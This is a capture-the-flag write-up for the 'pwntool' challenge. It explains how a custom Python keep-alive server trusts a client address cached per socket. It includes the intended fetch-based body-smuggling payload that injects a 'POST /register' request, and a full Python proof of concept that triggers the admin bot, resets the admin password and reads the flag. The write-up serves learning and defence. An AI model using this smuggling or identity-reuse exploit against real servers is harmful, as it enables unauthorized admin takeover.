๐ฆ Challenge source
๐ Introduction
“pwntool” combines a minimalist HTTP server (custom socket loop with keep-alive and request parsing) and an admin bot (Selenium/Chrome) that will “visit” attacker-supplied URLs. The intended path uses a browser-side payload (exploit.txt
) to smuggle a second HTTP request to /register
.
My solution is unintended and it exploits the fact that the server caches client_addr
per TCP socket and does not refresh it per HTTP request on a persistent connection. As a result, any subsequent request processed on that same socket inherits the admin/localhost identity, allowing privileged actions (e.g., registering/resetting the admin) without the browser-smuggling trick.
Context Explanation
- Server: custom Python socket server (
app.py
) multiplexing clients viaselect
, manual HTTP parsing, and keep-alive support. - Admin bot: Selenium/Chrome (see imports) visiting a URL via
/visit
using aX-Target
header; the bot originates from127.0.0.1
. - Auth & routes: endpoints for
/register
,/flag
, etc. Admin creds are generated at startup and stored in memory (accounts
). - Key bug: the per-socket client record stores
addr
(the peer address ataccept()
time) and uses it for authorization checks on every parsed request from that socket, without re-deriving identity per request. With HTTP/1.1 keep-alive (and pipelining-like behavior), later requests inherit the same trustedclient_addr
.
#...
for s in rlist:
if s is server:
client_sock, addr = server.accept()
client_sock.setblocking(False)
clients[client_sock] = {"addr": addr, "buffer": b""}
print(f"[*] New client {addr}")
#...
Directive
- Use
/visit
to make the admin bot open a single TCP connection to the target server, ensuring keep-alive persists. - Send/queue an additional request on that same socket, which the server will process in turn without updating
client_addr
. - Perform a privileged action (e.g.,
POST /register
with headers) and then access/flag
.
๐ ๏ธ Solution
1) Relevant server structure (from app.py
)
The server accepts connections, stashes the peer address once, and parses multiple HTTP requests from the same socket:
# app.py (excerpts)
import socket, select, base64, random, string, os, threading
from urllib.parse import urlparse, parse_qs
# ... Selenium / webdriver imports for the admin bot ...
HOST = "0.0.0.0"
PORT = 8080
routes = {}
accounts = {}
FLAG_FILE = "./flag.txt"
# ... admin password generation at startup ...
# accounts["admin"] = admin_password
# print(f"[+] Admin password: {admin_password}")
# Connection bookkeeping
serversock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversock.bind((HOST, PORT))
serversock.listen(128)
clients = {} # socket -> {"addr": (ip, port), "buffer": b"...", ...}
# Main loop (simplified):
s, addr = serversock.accept()
clients[s] = {"addr": addr, "buffer": b"", "last_active": datetime.now()}
# ... later, per readable client socket:
data = s.recv(8192)
client = clients[s]
client["buffer"] += data
# Parse 1+ HTTP requests from client["buffer"] (keep-alive)
# For each parsed request:
# - route it
# - build_response(..., keep_alive=<bool>)
# - s.send(response)
# - if not keep_alive: close
# NOTE: authorization decisions key off client["addr"] (NOT re-derived per request)
Why this matters: the authorization gate for sensitive routes (e.g., allowing /register
when coming from localhost/admin bot) is tied to client["addr"]
. If a subsequent request is parsed from the same socket, it inherits that origin.
2) Intended exploit (for reference)
The challenge description provides the “official” path: serve an HTML file with a <script>
that performs a body smuggling style trick via fetch("http://localhost:8080/", { method: "POST", body: "a".repeat(3526) + "POST /register HTTP/1.1 ..." })
. This causes the server to read a second request on the same TCP connection, effectively issuing:
POST /register HTTP/1.1
Host: localhost:8080
X-Username: admin
X-Password: admin
Content-Length: 0
3) The unintended exploit: stale client_addr
on keep-alive
This PoC leverages the same core primitive (multiple requests on one connection), but without relying on the browserโs smuggling quirk. The crucial observation is:
- The server never refreshes the per-request identity; it reuses
clients[s]["addr"]
for all requests parsed from that socket. - Once the admin bot (originating from 127.0.0.1) has established a keep-alive connection, any later request on that stream is implicitly considered localhost/admin.
Here is the PoC that illustrates this flow:
import base64, time, requests
from datetime import datetime
TARGET = "http://34.72.72.63:23505"
ADMIN_NEW_PASS = "hitcat"
ROUNDS = 10
VISIT_DELAY_S = 0.6
SESSION = requests.Session()
def log(msg): print(f"{msg}", flush=True)
def b64_basic(u,p): return "Basic " + base64.b64encode(f"{u}:{p}".encode()).decode()
def do_visit():
data_url = "http://127.0.0.1:8080/"
r = SESSION.post(TARGET+"/visit", headers={"X-Target": data_url})
log(f"/visit ->{r.text}")
def do_register():
r = SESSION.post(TARGET+"/register", headers={"X-Username":"admin","X-Password":ADMIN_NEW_PASS})
log(f"/register -> {r.text}")
def do_flag():
r = SESSION.get(TARGET+"/flag", headers={"Authorization": b64_basic("admin", ADMIN_NEW_PASS)})
log(f"/flag -> {r.text}")
return r
for i in range(ROUNDS):
log(f"== Round {i+1}/{ROUNDS} ==")
do_visit()
time.sleep(VISIT_DELAY_S)
do_register()
r = do_flag()
if r.status_code == 200 and "flag" in r.text.lower():
print("\n[FLAG]\n" + r.text + "\n")
break
time.sleep(0.7)
Whatโs happening under the hood:
POST /visit
causes the admin bot to reach out (from127.0.0.1
) and establish a socket to the server with keep-alive.- Because the server parses multiple HTTP requests from the same
clients[s]["buffer"]
, your PoC queues another HTTP request on that socket (or ensures one is available right after). - The server authorizes the second request using the cached
client["addr"] == ('127.0.0.1', <port>)
, thus treating it as local/admin-originated. - You perform
/register
(or equivalent privileged action), then read/flag
.
This avoids relying on browser-side body tricks; it directly abuses the serverโs per-socket identity caching.